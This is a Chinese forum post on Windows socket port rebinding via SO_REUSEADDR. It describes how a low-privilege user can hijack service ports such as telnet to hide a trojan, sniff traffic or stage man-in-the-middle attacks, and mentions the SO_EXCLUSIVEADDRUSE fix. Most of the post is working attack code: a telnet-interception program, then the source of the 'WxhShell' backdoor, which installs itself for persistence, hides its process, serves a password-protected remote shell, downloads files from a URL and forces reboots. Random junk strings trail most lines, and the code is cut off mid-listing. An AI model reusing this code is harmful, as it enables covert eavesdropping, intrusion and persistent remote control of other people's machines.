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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xjUT{iwS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;>U2|>5V  
'2A)}uR  
  saddr.sin_family = AF_INET; 3V+] 9;  
L~(j3D* 3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !]A  
0I-9nuw,^;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ('4_ xOb  
[NjXO`5#]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k{R>  
60^`JVGWH  
  这意味着什么?意味着可以进行如下的攻击: p;`>e>$  
M!siK2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 58}U^IW  
6IN e@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hIYNhZv  
y1jCg%'H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /wGM#sFH  
'|6]_   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @(EAq<5{  
1SQ3-WU s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h6L&\~pf  
t4."/ .=+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9R!atPz9  
ch*8B(:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (U D nsF  
Y Vt% 0  
  #include d~])K#oJ  
  #include h"B+hu  
  #include 6%\J"AgXO  
  #include    \Gef \   
  DWORD WINAPI ClientThread(LPVOID lpParam);   /* (Kr'c  
  int main() 5ORo3T%  
  { }?$F}s-  
  WORD wVersionRequested; hE:9{;Gf  
  DWORD ret; ; }I:\P  
  WSADATA wsaData; [~+wk9P  
  BOOL val; 2"v6 >b%  
  SOCKADDR_IN saddr; >>4qJ%bL  
  SOCKADDR_IN scaddr; + )AG*  
  int err; }`@vF|2L  
  SOCKET s; h6Ub}(Ov  
  SOCKET sc; :^lI`9'*R  
  int caddsize; LRxZcxmy  
  HANDLE mt; i]c!~`  
  DWORD tid;   h:))@@7MJ  
  wVersionRequested = MAKEWORD( 2, 2 ); ,hDW Ps2S  
  err = WSAStartup( wVersionRequested, &wsaData ); : g7@PJND  
  if ( err != 0 ) { B6+khuG(  
  printf("error!WSAStartup failed!\n"); g\|PcoLm  
  return -1; R3f89  
  } d"1]4.c  
  saddr.sin_family = AF_INET; ql Ax  
   `GBW%X/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TIqtF&@o4  
^cC,.Fdw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {S]}.7`l9(  
  saddr.sin_port = htons(23); OU\~::  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zEX  
  { 1/B>XkCJ  
  printf("error!socket failed!\n"); /s&9SYF  
  return -1; |w~nVRb  
  } ZoW?nxY  
  val = TRUE; G`D`Af/B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vQG5*pR*w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |u% )gk  
  { P-_6wfg,;>  
  printf("error!setsockopt failed!\n"); Rxt^v+ ,$  
  return -1; [C 7^r3w  
  } e-/&$Qq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ZL&qp04}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r.=K~A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R{`(c/%8  
4/~E4"8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q4h]o^+  
  { x3=A:}t8  
  ret=GetLastError(); 8.1c?S  
  printf("error!bind failed!\n"); 'T;P;:!\  
  return -1; {_"<1C  
  } HQ_Ok `  
  listen(s,2); Wx%H%FeK  
  while(1) kOrZv,qFG[  
  { S/hQZHZHg,  
  caddsize = sizeof(scaddr); Ux!p8  
  //接受连接请求 .&iawz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IVnHf_PzF  
  if(sc!=INVALID_SOCKET) 23eX;gL  
  { m#Jmdb_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |)DGkOtd  
  if(mt==NULL) HXC ;Np  
  { ITXa&5D  
  printf("Thread Creat Failed!\n"); G^|:N[>B  
  break; .[KrlfI  
  } m]0;"jeL  
  } A/$QaB,x  
  CloseHandle(mt); J$DE"| -  
  } ;W )Y OT  
  closesocket(s); ij`w} V  
  WSACleanup(); MTh<|$   
  return 0; z]y.W`i   
  }   ~8Fk(E_  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;\dBfP  
  { Z9ZPr?C=  
  SOCKET ss = (SOCKET)lpParam; +4~_Ei[i  
  SOCKET sc; ./Zk`-OBT  
  unsigned char buf[4096]; Lnl(2xD  
  SOCKADDR_IN saddr; K hR81\  
  long num; nsC3  
  DWORD val; Xf]d. :  
  DWORD ret; 8U"v6S~A%Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )T2Caqs2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z6\UGSL  
  saddr.sin_family = AF_INET; _Kf%\xg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3AtGy'NTp  
  saddr.sin_port = htons(23); q-2Bt,Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rl;~pO5R9  
  { R$<&ie6UQ  
  printf("error!socket failed!\n"); ',@3>T**  
  return -1; `:KY\  
  } Ykw*&opz  
  val = 100; ifQ*,+@fxR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wq&if_  
  { ;?i W%:_,  
  ret = GetLastError(); %3-y[f  
  return -1; Np9<:GF1  
  } zrgk]n;Pq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BoWg0*5xb  
  { dt]-,Y  
  ret = GetLastError(); R4cM%l_#W  
  return -1; Y\k#*\'Y~  
  } z'n:@E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b94DJzL1z  
  { B hGu!Y6f  
  printf("error!socket connect failed!\n"); 6,"Q=9k4[  
  closesocket(sc); OX!tsARC@  
  closesocket(ss); n5NsmVW\x  
  return -1; hd<c&7|G'  
  } -<!NXm|kvz  
  while(1) }B+C~@j  
  { j{A y\n(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "Ac-tzhE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dn+KH+v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \ :sUL!  
  num = recv(ss,buf,4096,0); 5L%'@`mX  
  if(num>0) LckK\`mh  
  send(sc,buf,num,0); Hg izW  
  else if(num==0) zu{P#~21  
  break; G4X|Bka  
  num = recv(sc,buf,4096,0); #OD/$f_  
  if(num>0) ,m:.-iy?  
  send(ss,buf,num,0); WPMSm<[  
  else if(num==0) 3yF,ak {Sl  
  break; i%]EEVmN  
  } ,T$U'&;  
  closesocket(ss); +gtbcF@rx  
  closesocket(sc); O KR "4n:  
  return 0 ; E A1?)|}n  
  } WiR(;m<g  
[D4SW#  
*C*U5~Zq7:  
========================================================== %_W)~Pv{+  
ucW-I;"  
下边附上一个代码,,WXhSHELL *fS"ym@  
3$>1FoSk  
========================================================== m@v\(rT.  
k"zv~`i'  
#include "stdafx.h" )U:m:cr<  
97C]+2R%^  
#include <stdio.h> SsDmoEeB[  
#include <string.h> c9 _ rmz8  
#include <windows.h> k2tF}  
#include <winsock2.h> 7WS p($  
#include <winsvc.h> %RRNJf}z  
#include <urlmon.h> G@X% +$I  
051 E6-  
#pragma comment (lib, "Ws2_32.lib") "_NN3lD)X  
#pragma comment (lib, "urlmon.lib") _9Te!gJ4_#  
:bq8N@P/  
#define MAX_USER   100 // 最大客户端连接数 Hd ={CFip  
#define BUF_SOCK   200 // sock buffer A[{yCn`tM  
#define KEY_BUFF   255 // 输入 buffer CxW>~O:  
^%{7}g&$u  
#define REBOOT     0   // 重启 T_5H&;a  
#define SHUTDOWN   1   // 关机 kv{za4,&  
"e>;'%W  
#define DEF_PORT   5000 // 监听端口 vw/J8'  
>jLY"  
#define REG_LEN     16   // 注册表键长度 O-hAFKx  
#define SVC_LEN     80   // NT服务名长度 L\"d  
 |TH\`U  
// 从dll定义API  DA,?}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %pL''R9VF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0znR0%~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ie#Bkw'*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yq\K)g*=  
Y)2,PES=  
// wxhshell配置信息 p]+Pkxz]'  
struct WSCFG { bJTBjS-7  
  int ws_port;         // 监听端口 ^Y \"}D  
  char ws_passstr[REG_LEN]; // 口令 d^ 8ZeC#  
  int ws_autoins;       // 安装标记, 1=yes 0=no N<VJ(20y  
  char ws_regname[REG_LEN]; // 注册表键名 y??XIsF  
  char ws_svcname[REG_LEN]; // 服务名 \X D6 pr@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;dgp+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7[XRd9a5(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +\ .Lp 5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qe:seW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CkQ3#L<2  
_)m]_eS._  
}; 0 /U{p,r6`  
Kis"L(C  
// default Wxhshell configuration h3 }OX{k  
struct WSCFG wscfg={DEF_PORT, I1M%J@Cz  
    "xuhuanlingzhe", [waIi3Dv\  
    1, `b7t4d*  
    "Wxhshell", Iit; F  
    "Wxhshell", Eo]xNn/g  
            "WxhShell Service", 2pa5U;u:+  
    "Wrsky Windows CmdShell Service", hhc,uJ">!  
    "Please Input Your Password: ", 7~.9=I'A  
  1, y766; X:J  
  "http://www.wrsky.com/wxhshell.exe", =GMkR+<)  
  "Wxhshell.exe" .}~_a76  
    }; v`Oc,  
c,+:i1IAy  
// 消息定义模块 'I6i ,+D/q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z<XtS[ki  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )1`0PJoHE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w_K1]<Q*  
char *msg_ws_ext="\n\rExit."; }Oq5tC@$G  
char *msg_ws_end="\n\rQuit."; vV-`jsq20H  
char *msg_ws_boot="\n\rReboot..."; w%jII{@,  
char *msg_ws_poff="\n\rShutdown..."; Txb#C[`  
char *msg_ws_down="\n\rSave to "; kUrkG80q|  
}N6.Uu 5zI  
char *msg_ws_err="\n\rErr!"; ` 7V]y -  
char *msg_ws_ok="\n\rOK!"; 56kI 5:  
[5Mr@f4I  
char ExeFile[MAX_PATH]; ~U&AI1t+J  
int nUser = 0; ,(^*+G.i  
HANDLE handles[MAX_USER]; ope^~+c~\  
int OsIsNt; ~dTrf>R8M  
x7<K<k;s  
SERVICE_STATUS       serviceStatus; JOeeU8C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1?+St`+{B-  
@Qt{jI !  
// 函数声明 $}<e|3_  
int Install(void); Si;H0uPO  
int Uninstall(void); MeZf*' J  
int DownloadFile(char *sURL, SOCKET wsh); i5@ z< \  
int Boot(int flag); u>a5GkG.  
void HideProc(void); <$Yd0hxjU  
int GetOsVer(void); Ry6@VQ"NLb  
int Wxhshell(SOCKET wsl); {8bSB.?R  
void TalkWithClient(void *cs); 59;KQ  
int CmdShell(SOCKET sock); pB0 \\wR  
int StartFromService(void); ^WWQI+pk  
int StartWxhshell(LPSTR lpCmdLine); &7tbI5na@  
vy:Z/1q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &E5g3lf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gT6jYQ  
D_zZXbNc  
// 数据结构和表定义 suDQ~\ n  
SERVICE_TABLE_ENTRY DispatchTable[] = hf&9uHN%7m  
{ V+9 MoT?8  
{wscfg.ws_svcname, NTServiceMain}, CB}2j  
{NULL, NULL} SSMHoJGm  
}; oE]QF.n#  
-]M5wb2,  
// 自我安装 G2: agqL/  
int Install(void) 8VXH+5's  
{ _u QOHwn  
  char svExeFile[MAX_PATH]; 8&b,qQ~  
  HKEY key; O)r4?<Q  
  strcpy(svExeFile,ExeFile); WOL:IZX%  
L$M9w  
// 如果是win9x系统,修改注册表设为自启动 cTTL1SW  
if(!OsIsNt) { {kR#p %E]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { > /caXvS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )bscBj@  
  RegCloseKey(key); v"Es*-{B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U z>+2m(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s|r3Gv|G  
  RegCloseKey(key); h>m"GpF x  
  return 0; k~1?VQ+?M  
    } >}6%#CAf  
  } draN0v f  
} w NdisI  
else { V)N%WX G  
kc&U'&RgY  
// 如果是NT以上系统,安装为系统服务 \(2sW^fY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sD#.Oq4&]y  
if (schSCManager!=0) .U]-j\  
{ 49HZ2`Y  
  SC_HANDLE schService = CreateService pIqeXY  
  ( c'yxWZEv  
  schSCManager, C1 *v,i  
  wscfg.ws_svcname, r3UUlR/Do  
  wscfg.ws_svcdisp, 1/J=uH  
  SERVICE_ALL_ACCESS, 9~[Y-cpoi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kMN~Y  
  SERVICE_AUTO_START, < h *4Q  
  SERVICE_ERROR_NORMAL, ER.}CM6{[  
  svExeFile, k@W1-D?  
  NULL, 2g! +<YZ~  
  NULL, -6B4sZpzD  
  NULL, h(EhkCf  
  NULL, +TDw+  
  NULL 6qnzBA7  
  ); c9h6C  
  if (schService!=0) Wvf ^N(  
  { c\AfaK^KF  
  CloseServiceHandle(schService); ;u)I\3`*!  
  CloseServiceHandle(schSCManager); [ v*ju!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1yu4emye4  
  strcat(svExeFile,wscfg.ws_svcname); [`7ThHX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 20Wg=p9L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c yz3,3\e  
  RegCloseKey(key); r* Ca}Z  
  return 0; +QJ#2~pE  
    } eehb1L2(b  
  } 5$C-9  
  CloseServiceHandle(schSCManager); T9   
} B tcy)LRk  
} A~70  
$qj2w"'  
return 1; I b5rqU\  
} Ig>(m49d  
o?\?@H  
// 自我卸载 / %io+94  
int Uninstall(void) (SAs-  
{ [d ]9Oa4  
  HKEY key; 3h`f  6  
]~siaiN[  
if(!OsIsNt) { 9XB8VKu8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {I't]Qj_e  
  RegDeleteValue(key,wscfg.ws_regname); nAdf=D'P  
  RegCloseKey(key); $f7l34Sf3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u]UOSfn  
  RegDeleteValue(key,wscfg.ws_regname); g[4WzDF*  
  RegCloseKey(key); DSn_0D  
  return 0; kE1TP]|  
  } }k.Z~1y  
} ncT&Gr   
} '6%2.[ o  
else { `e}B2;$A3  
K]w'&Qm8W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "3Y0`&:D  
if (schSCManager!=0) ey$&;1x#5  
{ Slc\&Eb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o?Oc7 $+u  
  if (schService!=0) 7 HYwLG:\~  
  { @f3E`8  
  if(DeleteService(schService)!=0) { %d9uTm;  
  CloseServiceHandle(schService); eTcd"Kd/  
  CloseServiceHandle(schSCManager); S3Jo>jXS "  
  return 0; @`9]F7h5W  
  } ^} >w<'0  
  CloseServiceHandle(schService); Ml-6OvQ7g  
  } Ab.(7GFK  
  CloseServiceHandle(schSCManager); $/Uq0U  
} {]4LULq  
} 8Z=R)asGS  
|M;7>'YNC*  
return 1; =[7Av>  
} 8zW2zkv2|#  
+9sQZB# (  
// 从指定url下载文件 [j+sC*  
int DownloadFile(char *sURL, SOCKET wsh) >Cq<@$I2EB  
{ mj7#&r,1l  
  HRESULT hr; G$('-3@i`w  
char seps[]= "/"; PXNuL&   
char *token; c'\dFb9a  
char *file; gL/9/b4  
char myURL[MAX_PATH]; `C'H.g\>2Q  
char myFILE[MAX_PATH]; j8:\%|  
J\=*#*rJ1  
strcpy(myURL,sURL); kvu)y`  
  token=strtok(myURL,seps); ((%? `y  
  while(token!=NULL) nKj7.,>;:<  
  { Q^^niVz  
    file=token; tw)mepwB  
  token=strtok(NULL,seps); ^E>3|du]O  
  } Q\sK"~@3  
]JQULE)  
GetCurrentDirectory(MAX_PATH,myFILE); m+z& Q  
strcat(myFILE, "\\"); =~LJ3sIX  
strcat(myFILE, file); Z*6IW7#  
  send(wsh,myFILE,strlen(myFILE),0); ":N9(}9  
send(wsh,"...",3,0); &m;*<}X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bdpy:'fJn  
  if(hr==S_OK) l,aay-E  
return 0; rEz^  
else <qt|d&  
return 1; +R75v)  
)NT*bLRPQ  
} (A.C]hD  
h 'nY3GrU  
// 系统电源模块 EU Fa5C:  
int Boot(int flag) ]A_`0"m.U  
{ j3ls3H&  
  HANDLE hToken; 0jWVp- y  
  TOKEN_PRIVILEGES tkp; Bk{]g=DO  
vtJJ#8a]  
  if(OsIsNt) { k4zZ7H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gI|~|-'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +Vdpy (  
    tkp.PrivilegeCount = 1; NDokSw-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9%obq/Lb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;8 lfOMf  
if(flag==REBOOT) { vW@=<aS Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y8t8!{ytg  
  return 0; ?:9"X$XR  
} 8zq=N#x  
else { [{/jI\?v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eS){1  
  return 0;  C9)@jK%  
} E=O\0!F|b  
  } [dVL&k<P  
  else { bpa?C  
if(flag==REBOOT) { 3=V &K-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'dc#F3  
  return 0; |;{6& S  
} 7 _[L o4_  
else { -$Ih@2"6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~)M~EX&pK  
  return 0; Yx`n:0  
} ^xk'Z  
} |JsZJ9W+J  
_,*r_D61S  
return 1; KqP#6^ _  
} )=(kBWM  
M869MDo  
// win9x进程隐藏模块 *qpSXmOz  
void HideProc(void) M)(DZ}  
{ -trkA'ewZ  
F((4U"   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0<*<$U  
  if ( hKernel != NULL ) Vi|#@tC'  
  { {Y1Ck5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tpx2 IE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j5h-dK  
    FreeLibrary(hKernel); uHNCSz H(  
  } #[[ en  
tO&^>&;5  
return; N6TH}~62}  
} /g.U&oI]D  
ksm~<;td  
// 获取操作系统版本 ,`sv1xwd  
int GetOsVer(void) I( Mm?9F  
{ K@%].:  
  OSVERSIONINFO winfo; z{r}~{{E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !H\F2Vxs  
  GetVersionEx(&winfo); ~F#j#n(=`q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^=*;X;7  
  return 1; ]I6  J7A[  
  else 0tJ Z4(0  
  return 0; _tycgq#  
} Ew$C ;&9  
*yGGBqd  
// 客户端句柄模块 5`_SN74o  
int Wxhshell(SOCKET wsl) qcRs$-J  
{ f?)-}\[IR{  
  SOCKET wsh; @E8+C8'  
  struct sockaddr_in client; >.D4co>  
  DWORD myID; u]G\H!Wk Q  
3iU=c&P  
  while(nUser<MAX_USER) Qv ?"b  
{ #s9aI_  
  int nSize=sizeof(client); <{cQ2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CNx8] _2  
  if(wsh==INVALID_SOCKET) return 1; BL4-7  
-7|H}!DFT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $Z>'Jp  
if(handles[nUser]==0) 7PF%76TO  
  closesocket(wsh); 51.%;aY~z  
else 5E <kwi  
  nUser++; $NO&YLS@  
  } [KQ6Ta.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rW#T vUn  
f<6lf7qzC  
  return 0; ABYcH]m  
} yF/jFn  
Ht&Y C<X  
// 关闭 socket &>}5jC.I  
void CloseIt(SOCKET wsh) I*^Ta{j[  
{ -DAlRz#d,  
closesocket(wsh); 9Gz=lc[!7  
nUser--; >5SSQ\2~a  
ExitThread(0); lUMdrt0@z  
} q75s#[<ap  
Yoll?_k+  
// 客户端请求句柄 x$(f7?s] 1  
void TalkWithClient(void *cs) HtYwEjI  
{ e8 b:)"R  
6d~'$<5on  
  SOCKET wsh=(SOCKET)cs; n._-! WI  
  char pwd[SVC_LEN]; N4HqLh23H  
  char cmd[KEY_BUFF]; @|T'0_'  
char chr[1]; Z$? #  
int i,j; ^d73Ig:8q  
HkVB80hv  
  while (nUser < MAX_USER) { Jfl!#UAD|n  
7cMv/g^ h@  
if(wscfg.ws_passstr) { uXl3k:_n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); An/|+r\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3irl (;v  
  //ZeroMemory(pwd,KEY_BUFF); '/%H3A#L  
      i=0; .5{ab\_af  
  while(i<SVC_LEN) { =H]@n|$(  
2I{"XB  
  // 设置超时 caX< n>  
  fd_set FdRead; h!9ei6  
  struct timeval TimeOut; Z<{QaY$"  
  FD_ZERO(&FdRead); dUdT7ixo  
  FD_SET(wsh,&FdRead); 5Jnlz@P9  
  TimeOut.tv_sec=8; E&:,oG2M  
  TimeOut.tv_usec=0; I1&aM}y{G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MnW+25=N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k$}fWR  
Y`wSv NU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7E!5G2XX~~  
  pwd=chr[0]; cQ_Hp <D  
  if(chr[0]==0xd || chr[0]==0xa) { "5$B>S(Q  
  pwd=0; UJ6v(:z <  
  break; eb$#A _m  
  } ~WV"SaA)*U  
  i++; &PtJ$0%q  
    } "@8li^  
[z9Z5sLO  
  // 如果是非法用户,关闭 socket '@P^0+B!(.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y1L,0 ]  
} }\k"n{!"  
A\5L 7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iO; 7t@]-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,~W|]/b<q  
x'R`. !g3  
while(1) { Od)C&N=y  
9( wK@  
  ZeroMemory(cmd,KEY_BUFF); Wo=jskBrQ  
0#^v{DC  
      // 自动支持客户端 telnet标准   <1M-Ro?5k  
  j=0; ;t`&n['N>  
  while(j<KEY_BUFF) { U :_^#\p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \1Em`nvOX  
  cmd[j]=chr[0]; r" ,GC]  
  if(chr[0]==0xa || chr[0]==0xd) { sCHJ&>m5-  
  cmd[j]=0; NQ2E  
  break; D. XvG_  
  } $L]lHji  
  j++; ~61v5@  
    } KKf   
P7/X|M z  
  // 下载文件 FaJ&GOM,  
  if(strstr(cmd,"http://")) { M\Kx'N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z2>lI9D4V  
  if(DownloadFile(cmd,wsh)) iOO)Q\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jRV/A!4  
  else v|2T%y_ u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N ZSSg2TX#  
  } 0:d_Yv,D  
  else { .kfI i^z  
&@YmA1Yu)E  
    switch(cmd[0]) { 3? +Hd  
  {Y9q[D'g.  
  // 帮助 '2^Q1{ :\  
  case '?': { lHX72s|V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b;UJ 88  
    break; 6!FQzFCZq  
  } VW4r{&rS  
  // 安装 B^9j@3Ux  
  case 'i': { A^<iL  
    if(Install()) y'*K|a TG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -3Vx76Y  
    else 4{`{WI{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U/NoP4~{  
    break; ~qOa\#x_  
    } }vM("v|M  
  // 卸载 R~$qo)v  
  case 'r': { V~5jfcd  
    if(Uninstall()) OI*Xt`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4r}8lpF_(  
    else vRO _Q?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wAW5 Z0D  
    break; ?5 7Sk+  
    } I2 P@L?h  
  // 显示 wxhshell 所在路径 D d</`iUq  
  case 'p': { 9q[oa5INd  
    char svExeFile[MAX_PATH]; uW36;3[f#1  
    strcpy(svExeFile,"\n\r"); w+CA1q<  
      strcat(svExeFile,ExeFile); n7-6- #  
        send(wsh,svExeFile,strlen(svExeFile),0); /I0%Z+`=  
    break; 3:i@II  
    } TWFr 4-  
  // 重启 Ciz X<Cr}  
  case 'b': { B&uz;L3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k\GcHI-  
    if(Boot(REBOOT)) RrQJ/ts7}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )P|),S,;Z  
    else { "LTad`]<Ro  
    closesocket(wsh); s!7y  
    ExitThread(0); BR yl4  
    } }U"&8%PZr  
    break; W:L AP R  
    } WI-1)1t  
  // 关机 '1s0D]  
